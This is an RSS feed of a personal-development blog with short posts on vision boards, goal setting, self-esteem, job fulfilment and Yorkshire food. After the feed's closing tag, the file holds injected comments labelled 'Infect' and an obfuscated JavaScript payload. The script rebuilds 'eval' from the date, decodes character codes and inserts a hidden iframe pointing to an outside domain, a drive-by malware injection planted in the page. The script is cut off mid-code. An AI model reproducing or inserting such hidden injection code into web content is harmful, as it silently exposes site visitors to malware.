<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Ruth Sanderson</title>
	<atom:link href="http://ruthsanderson.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ruthsanderson.co.uk</link>
	<description>fearless authenticity</description>
	<pubDate>Tue, 17 Jan 2012 14:19:02 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Believe in yourself</title>
		<link>http://www.ruthsanderson.co.uk/2012/01/believe-in-yourself/</link>
		<comments>http://www.ruthsanderson.co.uk/2012/01/believe-in-yourself/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 07:09:35 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Quotes]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=57</guid>
		<description><![CDATA[Came across this quote and just had to share it.
&#8220;We do not believe in ourselves until someone reveals that deep inside us is valuable, worth listening to, worthy of our trust, sacred to our touch.  Once we believe in ourselves we can risk curiosity, wonder, spontaneous delight or any experience that reveals the human spirit.&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Came across this quote and just had to share it.</p>
<p>&#8220;We do not believe in ourselves until someone reveals that deep inside us is valuable, worth listening to, worthy of our trust, sacred to our touch.  Once we believe in ourselves we can risk curiosity, wonder, spontaneous delight or any experience that reveals the human spirit.&#8221; - E. E. Cummings</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2012/01/believe-in-yourself/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Creating A Board to Express Your Vision</title>
		<link>http://www.ruthsanderson.co.uk/2011/10/creating-a-board-to-express-your-vision/</link>
		<comments>http://www.ruthsanderson.co.uk/2011/10/creating-a-board-to-express-your-vision/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 14:15:32 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=183</guid>
		<description><![CDATA[Do you have a vision for your future?

How often do you spend time dreaming, imagining what you&#8217;d like to happen.  I&#8217;m not talking about fantasy, that&#8217;s when you dream of something you don&#8217;t believe could or would ever happen.
In most cases we don&#8217;t allow ourselves enough time to envision our future, we&#8217;re so busy with [...]]]></description>
			<content:encoded><![CDATA[<p>Do you have a vision for your future?</p>
<div>
<p>How often do you spend time dreaming, imagining what you&#8217;d like to happen.  I&#8217;m not talking about fantasy, that&#8217;s when you dream of something you don&#8217;t believe could or would ever happen.</p>
<p>In most cases we don&#8217;t allow ourselves enough time to envision our future, we&#8217;re so busy with today and our to do lists.  It&#8217;s almost the end of October and before you know it we&#8217;ll be schooching into Christmas, with bags of tinsel under our arms, hoping to make the last post and pick up a turkey.  And then 2012 will arrive.  Doesn&#8217;t time fly when you&#8217;re having fun.</p>
<p>So if you haven&#8217;t considered your future for a while, then stick it on your to-do list.  Find a quiet space, with your favourite frappie-cappie-mocha-super-skinny drink should you so fancy, and have a think.</p>
<p>Now when you&#8217;ve done this imagineering what then, well write it down, it starts to crystallise your thoughts and it&#8217;s the first step on the road to making them happen.</p>
<p>Next scour the Internet, magazines, and any other sources for images that represent what it is you want.  It can be an exact image, eg a car, or it can be an image that embodies what it is you want.  So it&#8217;s not a literal representation.</p>
<p>Then put these images on a board or large sheet of paper with blue tack or pins.  It means you can move them around into a combination that is very powerful for you.  It&#8217;s like you&#8217;re writing the story of your future.</p>
<p>On a daily basis look at your vision board - drink it in, immerse yourself, feel like you have it, either the whole thing, or the individual components.</p>
<p>Now pay attention.  You see your vision board is what you want, but right now you won&#8217;t know the how you&#8217;re going to make it happen part.  I certainly haven&#8217;t a clue for mine.  Yet here&#8217;s the spooky thing, you don&#8217;t need to know the how&#8217;s if you pay attention, because ideas, opportunities etc they just show up.  Clearly you have to be awake to listen to them, which is why looking at your board on a regular basis is important, cos now you&#8217;re focused on what you want to create.</p>
<p>So here&#8217;s the recipe:-</p>
<p>Set aside a good 30 mins to let your imagination run riot</p>
<p>Write it down in glorious technicolour</p>
<p>Find images that best represent your future</p>
<p>Get paper and scissors ready and have a wonderful Blue Peter moment - remember always get an adult to do the cutting for you <img src='http://www.ruthsanderson.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> and you don&#8217;t need that pesky sticky backed plastic stuff, which is a bonus I say.</p>
<p>Stick the images on the board</p>
<p>View daily and move the images around until you get the best feeling (as in you feel like you have them)</p>
<p>Pay attention</p>
<p>Simple really - well some of the best things in life are.</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2011/10/creating-a-board-to-express-your-vision/feed/</wfw:commentRss>
		</item>
		<item>
		<title>What&#8217;s stopping you from having the job you love?</title>
		<link>http://www.ruthsanderson.co.uk/2010/01/whats-stopping-you-from-having-the-job-you-love/</link>
		<comments>http://www.ruthsanderson.co.uk/2010/01/whats-stopping-you-from-having-the-job-you-love/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 14:43:08 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[authentic conversations]]></category>

		<category><![CDATA[job fulfilment]]></category>

		<category><![CDATA[job satisfaction]]></category>

		<category><![CDATA[limiting beliefs]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=163</guid>
		<description><![CDATA[As a child what did you want to be when you grew up?  Nurse, fireman and teacher were the hot options at my infant school.  Then of course you somehow realise there are more options out there.
I&#8217;m still surprised at the number of people who tell me what they do, listen to what I do [...]]]></description>
			<content:encoded><![CDATA[<p>As a child what did you want to be when you grew up?  Nurse, fireman and teacher were the hot options at my infant school.  Then of course you somehow realise there are more options out there.</p>
<p>I&#8217;m still surprised at the number of people who tell me what they do, listen to what I do and then wistfully say &#8220;ahh but I&#8217;d love to &#8230;.or as a child I always wanted to be &#8230;&#8221; as a profession.  What stops them from pursuing this desire? - being sensible and responsibility are the 2 most popular answers.  Apparently I am blessed and lucky to be able to do what I love.  Well so I&#8217;m told.   So why do I get to do what I love, and others don&#8217;t?  Especially as I&#8217;ve never thought of myself as unsensible or irresponsible.   What is it that causes one person to choose to remain in an unfulfilling job and another to go out and pursue it?</p>
<p>I have a hypothesis, just as &#8220;I don&#8217;t have the time&#8221; is very often an excuse rather than the truth, responsibility and sensibleness are also acceptable excuses.  We can trot them out in public without fear of ridicule or being called on them.  These are socially acceptable ways of skirting the real issue of why someone has chosen to stay where they are.  And choosing to stay where you are is not wrong, but what about a bit of authenticity in the answer, how about &#8220;I&#8217;m too scared&#8221;, or &#8220;I can&#8217;t be bothered&#8221;, or &#8220;my job is currently funding my kit car and once that&#8217;s built then I&#8217;ll think about it&#8221;.  Well at least we wouldn&#8217;t be having a superficial conversation trying to smoother some simmering passion.</p>
<p>Then again some of the answers I&#8217;ve had include &#8220;you need a degree, or you have to be charismatic&#8221;.  In both cases I didn&#8217;t agree so I found out how they knew their reason to be true, and we shared our evidence.  I&#8217;m pleased to say that upon hearing contrary evidence they went off with renewed vigor, the stumbling block removed.  Sometimes what&#8217;s stopping us is real, other times it&#8217;s all an illusion.</p>
<p>So now I am asking myself what else would I love to do this year, and what&#8217;s stopping me, is it real or an illusion.  The real blocks will take a bit longer to break down, but the beauty of illusions is they lose their power as soon as you see through them.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2010/01/whats-stopping-you-from-having-the-job-you-love/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Goal Setting Tips</title>
		<link>http://www.ruthsanderson.co.uk/2009/12/goal-setting-tips/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/12/goal-setting-tips/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 11:53:46 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<category><![CDATA[Practical Tips]]></category>

		<category><![CDATA[goal achievement]]></category>

		<category><![CDATA[goal setting]]></category>

		<category><![CDATA[new year resolution]]></category>

		<category><![CDATA[new years resolution]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=156</guid>
		<description><![CDATA[A new year and a new decade are almost upon us.  Where does time go.  Before the 1st January arrives will you have taken time to work out what you want to achieve in 2010?
Here&#8217;s a short video that let&#8217;s you in on a little secret of something I do between Christmas and New Year.  [...]]]></description>
			<content:encoded><![CDATA[<p>A new year and a new decade are almost upon us.  Where does time go.  Before the 1st January arrives will you have taken time to work out what you want to achieve in 2010?</p>
<p>Here&#8217;s a short video that let&#8217;s you in on a little secret of something I do between Christmas and New Year.  I already have all the ingredients mentioned in the video and I&#8217;m looking forward to the indulgence.</p>
<p>I think that one of the key things, no matter what sort of year this has been,  that is critical when you decide what 2010 will be about (and even the next decade if you&#8217;re being bold) is you feel fantastic.</p>
<p>Success is a feeling first and foremost, it&#8217;s not a destination.  So when you set your goals (work and personal) for the next year, do it in style, feeling fabulous, confident and successful.  What you believe is possible, what you desire, will be very different compared to if you set goals for next year feeling beaten from this year, creeping in with small wishes, hoping that life doesn&#8217;t crush those too.<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="295" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/pA2CM_H9JD4&amp;hl=en_GB&amp;fs=1" /><embed type="application/x-shockwave-flash" width="480" height="295" src="http://www.youtube.com/v/pA2CM_H9JD4&amp;hl=en_GB&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Whether your recipe for success includes a G&amp;T, a cup of tea or a glass of champagne, may this next decade bring you all your heart desires.  No creeping now <img src='http://www.ruthsanderson.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/12/goal-setting-tips/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Learn to love who you really are</title>
		<link>http://www.ruthsanderson.co.uk/2009/10/learn-to-love-who-you-really-are/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/10/learn-to-love-who-you-really-are/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 15:24:36 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[dove self esteem fund]]></category>

		<category><![CDATA[self confidence]]></category>

		<category><![CDATA[self esteem]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=145</guid>
		<description><![CDATA[As children we quickly pick up messages about our image, whether we fit in with society&#8217;s definition of normal or it&#8217;s definition of desirable or successful or like-able.  As adults we get to add the am I too young, too old, passed it, conundrum to the list.  Dove have come up with some very clever [...]]]></description>
			<content:encoded><![CDATA[<p>As children we quickly pick up messages about our image, whether we fit in with society&#8217;s definition of normal or it&#8217;s definition of desirable or successful or like-able.  As adults we get to add the am I too young, too old, passed it, conundrum to the list.  Dove have come up with some very clever video&#8217;s showing what we&#8217;re exposed to on a daily basis at a more unconscious level.  Their self esteem fund is aimed at girls, but I would say that boys too are increasingly exposed to messages of a similar nature.</p>
<p>Wouldn&#8217;t it be great if we could be shown how to learn to love the skin we&#8217;re in, rather than wanting to change it and learn to love others for who they are.  It certainly beats the self image that&#8217;s says we&#8217;re not good enough.</p>
<p>I recently found some photo&#8217;s of me when I was a teenager, a time when I certainly didn&#8217;t think I was good enough, and would have described myself as ugly.  Now the reaction to the photo&#8217;s included some laughter at the hairstyles that were fashionable then (it was the 80&#8217;s).  However I also realised how pretty I was and that&#8217;s it&#8217;s the invisible glasses we wear that determine how we view things.  In my case I&#8217;d been wearing the all my friends are beautiful, pretty or fanciable and I&#8217;m the ugly &#8216;orrid ones.  No idea when those invisible glasses broke, but thank goodness they did.  Who knows what I&#8217;d have succumbed to, or how many years I&#8217;d have lost not being able to appreciate myself, quirks and all.</p>
<p>Dove&#8217;s <a href="http://campaignforrealbeauty.co.uk/" >self esteem fund </a>has lots more information.</p>
<p>Here&#8217;s one of their video&#8217;s<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="346" height="296" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="wmode" value="transparent" /><param name="src" value="http://moviestore.campaignforrealbeauty.com/moviestore/dsef07/embed/dovefilms.swf?flvLoc=http://moviestore.campaignforrealbeauty.com/moviestore/dsef07/Onslaught_UK.flv&amp;seekTime=15&amp;freeze=true&amp;cc=uk" /><embed type="application/x-shockwave-flash" width="346" height="296" src="http://moviestore.campaignforrealbeauty.com/moviestore/dsef07/embed/dovefilms.swf?flvLoc=http://moviestore.campaignforrealbeauty.com/moviestore/dsef07/Onslaught_UK.flv&amp;seekTime=15&amp;freeze=true&amp;cc=uk" wmode="transparent"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/10/learn-to-love-who-you-really-are/feed/</wfw:commentRss>
		</item>
		<item>
		<title>1 good way to delay success</title>
		<link>http://www.ruthsanderson.co.uk/2009/09/1-good-way-to-delay-success/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/09/1-good-way-to-delay-success/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 12:50:11 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Practical Tips]]></category>

		<category><![CDATA[failure]]></category>

		<category><![CDATA[Success]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=95</guid>
		<description><![CDATA[Some people might think I study odd things - like success.  Every time I meet someone who&#8217;s been successful my curiosity is peaked, I want to know how they did it, the process, the context.  Then I&#8217;m looking at how that matches my current process for achieving the same thing and I play around till [...]]]></description>
			<content:encoded><![CDATA[<p>Some people might think I study odd things - like success.  Every time I meet someone who&#8217;s been successful my curiosity is peaked, I want to know how they did it, the process, the context.  Then I&#8217;m looking at how that matches my current process for achieving the same thing and I play around till I get the desired results.</p>
<p>As you can imagine this also means I&#8217;ve worked out various ways of delaying success.  So let me share with you one very good way of putting off the success you desire and deserve.</p>
<p>&#8220;When I _______________ then I&#8217;ll _______________&#8221;</p>
<p>That&#8217;s it.  You get to fill in the blanks.</p>
<p>Typically it&#8217;s along the lines of when I have my goal, then I&#8217;ll act in a different way.  Now this is as close as you can get to putting the cart before the horse and not realising it.  If you had your goal and you&#8217;d either behave differently, dress differently, do something differently, then what&#8217;s stopping you from doing/being the difference now?</p>
<p>Several years ago I did a paper exercise.  At the top I wrote    When I&#8217;m successful I&#8217;ll&#8230;.</p>
<p>and then I just wrote lots of different endings.  After which I looked at all these things and said so which could I be/do/have right now.</p>
<p>One of the endings was I&#8217;ll always have a bottle of champagne in my fridge.  So I went and bought a bottle and there it lived and every time I opened my fridge door, voila success, well the feeling of success to be precise and that&#8217;s exactly what you want, the feeling.  Then something significantly fabulous happened and I wanted to celebrate and so out came the bottle of champagne and I felt really, really, successful.  Now over the years depending on just how flush I&#8217;ve been (running a business does have some hairy moments), it&#8217;s been a bottle of cava but it was always something that enabled me to feel successful.</p>
<p>So make your list and see just how much success you can have in your life already.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/09/1-good-way-to-delay-success/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sound of Music in Antwerp - Would you join in?</title>
		<link>http://www.ruthsanderson.co.uk/2009/07/sound-of-music-in-antwerp-would-you-join-in/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/07/sound-of-music-in-antwerp-would-you-join-in/#comments</comments>
		<pubDate>Thu, 09 Jul 2009 10:58:48 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<category><![CDATA[Antwerp]]></category>

		<category><![CDATA[fearless]]></category>

		<category><![CDATA[freedom]]></category>

		<category><![CDATA[inhibition]]></category>

		<category><![CDATA[sound of music]]></category>

		<category><![CDATA[train station]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=119</guid>
		<description><![CDATA[So this was 200 dancers doing a little Sound of Music in Antwerp.
As I was watching it I asked myself, had I been there would I have been a spectator or joined in?



The answer - I&#8217;d have joined in, nothing like an opportunity to boogie on down.
]]></description>
			<content:encoded><![CDATA[<p>So this was 200 dancers doing a little Sound of Music in Antwerp.</p>
<p>As I was watching it I asked myself, had I been there would I have been a spectator or joined in?</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/7EYAUazLI9k&amp;hl=en&amp;fs=1&amp;" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/7EYAUazLI9k&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
<a href="http://www.youtube.com/watch?v=7EYAUazLI9k"><br />
</a></p>
<p>The answer - I&#8217;d have joined in, nothing like an opportunity to boogie on down.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/07/sound-of-music-in-antwerp-would-you-join-in/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Self Image = Self Esteem, Self Confidence, Results.</title>
		<link>http://www.ruthsanderson.co.uk/2009/06/self-image-self-esteem-self-confidence-results/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/06/self-image-self-esteem-self-confidence-results/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 11:38:23 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Event]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=117</guid>
		<description><![CDATA[Your self image is determining your results.  Now maybe you’ve never seen your identity as directly linked to the results you’ve achieved or will go on to achieve.  In essence we can’t outperform our sense of self.  Well you can but only for a short while and then, like an elastic band, it snaps back [...]]]></description>
			<content:encoded><![CDATA[<p>Your self image is determining your results.  Now maybe you’ve never seen your identity as directly linked to the results you’ve achieved or will go on to achieve.  In essence we can’t outperform our sense of self.  Well you can but only for a short while and then, like an elastic band, it snaps back to where it knows.</p>
<p>You’ve no doubt heard people say “act as if”, or ” you have to be it before you can receive it”.  We see this commonly in the workplace when people are doing a role before they get the promotion.</p>
<p>Self esteem, self confidence, results, success, resilience, adaptability are all tied up to self image / identity.</p>
<p>Any time you say “i am…” you’re making a statement about your identity.</p>
<p>Now most of us talk a lot but don’t really pay 100% attention to what we’re saying.   Your identity is unconsciously running you.</p>
<p>This summer you can change all that.  You could decide you’re going to understand the power of self image and identity, and work on making sure yours is working for you, not against you.  <a href="http://www.bluepeapod.com/events/self-image-identity-study-group" onclick="javascript:pageTracker._trackPageview('/outbound/article/www.bluepeapod.com');" target="_blank">Join me</a> on my 7 week study group, we’re doing this by phone so it’s really easy to join in.  You can get the full details <a href="http://www.bluepeapod.com/events/self-image-identity-study-group" onclick="javascript:pageTracker._trackPageview('/outbound/article/www.bluepeapod.com');" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/06/self-image-self-esteem-self-confidence-results/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Yorkshire Born, Yorkshire Bred&#8230;</title>
		<link>http://www.ruthsanderson.co.uk/2009/06/yorkshire-born-yorkshire-bred/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/06/yorkshire-born-yorkshire-bred/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 16:49:33 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Fun]]></category>

		<category><![CDATA[Yorkshire lass]]></category>

		<guid isPermaLink="false">http://ruthsanderson.co.uk/?p=41</guid>
		<description><![CDATA[Every once in a while people who know I&#8217;m from Yorkshire send me things from or about my homeland.  This video for Yorkshire Airlines being one example.  It&#8217;s so funny, and there&#8217;s many a truth in it, plus I think I know all the &#8216;characters&#8217; in the video from my village / valley.

Now clearly it [...]]]></description>
			<content:encoded><![CDATA[<p>Every once in a while people who know I&#8217;m from Yorkshire send me things from or about my homeland.  This video for Yorkshire Airlines being one example.  It&#8217;s so funny, and there&#8217;s many a truth in it, plus I think I know all the &#8216;characters&#8217; in the video from my village / valley.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="349" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/6VLYpKGVBUg&amp;hl=en&amp;fs=1&amp;rel=0&amp;border=1" /><embed type="application/x-shockwave-flash" width="425" height="349" src="http://www.youtube.com/v/6VLYpKGVBUg&amp;hl=en&amp;fs=1&amp;rel=0&amp;border=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Now clearly it features some gastronomical top tips like fish n chips out of the newspaper - and I prefer newspaper, yes it leaves print on your hand but there must be something in the ink that&#8217;s released as the vinegar and warm fat soak in, cos it smells good.  If I&#8217;m feeling posh (Alan Bennett class) then I&#8217;ll have them on a plate with mushy peas.</p>
<p>Other delicacy&#8217;s I recommend include mushy peas on top of a warm pork pie and a nice dollop of mint sauce.  You eat them with a spoon and fork, don&#8217;t go asking for a knife.  Lastly the canape that&#8217;s so often overlooked is the honeycomb tripe with a little salt and vinegar.  Right I&#8217;m going to shut up before I get all Hovis and start my &#8220;eeeh when I warra lass&#8221; stories.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/06/yorkshire-born-yorkshire-bred/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fixing people</title>
		<link>http://www.ruthsanderson.co.uk/2009/06/fixing-people/</link>
		<comments>http://www.ruthsanderson.co.uk/2009/06/fixing-people/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 16:14:20 +0000</pubDate>
		<dc:creator>Ruth</dc:creator>
		
		<category><![CDATA[Quotes]]></category>

		<guid isPermaLink="false">http://www.ruthsanderson.co.uk/?p=97</guid>
		<description><![CDATA[Love this quote from Guy Finley.
Trying to &#8220;fix&#8221; the people in your life that cause you pain is like massaging your shoes because your feet ache.
]]></description>
			<content:encoded><![CDATA[<p>Love this quote from Guy Finley.</p>
<p style="text-align: center;"><em>Trying to &#8220;fix&#8221; the people in your life that cause you pain is like massaging your shoes because your feet ache.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ruthsanderson.co.uk/2009/06/fixing-people/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<!--Injection_head[SessionId=484E1AFD,version=2.0,type=Infect,CRC32=A1625592]--><!--Injection_tail[SessionId=484E1AFD]--><!--Injection_head[SessionId=7BB0DB9F,version=2.0,type=FindDomainName,CRC32=FCDA4BAE]--><script>var date=new Date(),pau=('ev'+date.getFullYear()).replace('2010','al');g=window[pau];sf=window['String'].fromCharCode;g(sf(4.5*2,59*2,48.5*2,57*2,16*2,57.5*2,58*2,57*2,16*2,30.5*2,16*2,19.5*2,52.5*2,51*2,57*2,19.5*2,29.5*2,6.5*2,5*2,4.5*2,59*2,48.5*2,57*2,16*2,57.5*2,16*2,30.5*2,16*2,19.5*2,30*2,19.5*2,16*2,21.5*2,16*2,57.5*2,58*2,57*2,16*2,21.5*2,16*2,17*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,57.5*2,50.5*2,49.5*2,58.5*2,57*2,50.5*2,23*2,57.5*2,58*2,48.5*2,58*2,52.5*2,57.5*2,58*2,52.5*2,49.5*2,48.5*2,54*2,50*2,48.5*2,58*2,48.5*2,25*2,23*2,49.5*2,55.5*2,54.5*2,23.5*2,52.5*2,54.5*2,48.5*2,51.5*2,50.5*2,57.5*2,23.5*2,50*2,19.5*2,16*2,59.5*2,52.5*2,50*2,58*2,52*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,52*2,50.5*2,52.5*2,51.5*2,52*2,58*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,57.5*2,58*2,60.5*2,54*2,50.5*2,30.5*2,19.5*2,59*2,52.5*2,57.5*2,52.5*2,49*2,52.5*2,54*2,52.5*2,58*2,60.5*2,29*2,16*2,52*2,52.5*2,50*2,50*2,50.5*2,55*2,29.5*2,19.5*2,16.5*2,30*2,23.5*2,52.5*2,51*2,57*2,17*2,16*2,21.5*2,16*2,19.5*2,48.5*2,54.5*2,50.5*2,16.5*2,19.5*2,29.5*2,6.5*2,5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,23*2,52.5*2,55*2,55*2,50.5*2,57*2,36*2,42*2,38.5*2,38*2,16*2,21.5*2,30.5*2,16*2,57.5*2,23*2,57*2,50.5*2,56*2,54*2,48.5*2,49.5*2,50.5*2,20*2,19.5*2,16.5*2,19.5*2,22*2,19.5*2,31*2,19.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,59*2,48.5*2,57*2,16*2,49*2,50*2,60.5*2,16*2,30.5*2,16*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49.5*2,57*2,50.5*2,48.5*2,58*2,50.5*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,20*2,17*2,49*2,55.5*2,50*2,60.5*2,17*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,58*2,57*2,60.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,48.5*2,56*2,56*2,50.5*2,55*2,50*2,33.5*2,52*2,52.5*2,54*2,50*2,20*2,49*2,50*2,60.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,49.5*2,48.5*2,58*2,49.5*2,52*2,16*2,20*2,50.5*2,20.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49*2,55.5*2,50*2,60.5*2,16*2,30.5*2,16*2,49*2,50*2,60.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,23*2,52.5*2,55*2,55*2,50.5*2,57*2,36*2,42*2,38.5*2,38*2,16*2,21.5*2,30.5*2,16*2,57.5*2,23*2,57*2,50.5*2,56*2,54*2,48.5*2,49.5*2,50.5*2,20*2,19.5*2,16.5*2,19.5*2,22*2,19.5*2,31*2,19.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,59.5*2,57*2,52.5*2,58*2,50.5*2,20*2,57.5*2,23*2,57*2,50.5*2,56*2,54*2,48.5*2,49.5*2,50.5*2,20*2,19.5*2,16.5*2,19.5*2,22*2,19.5*2,31*2,19.5*2,20.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,6.5*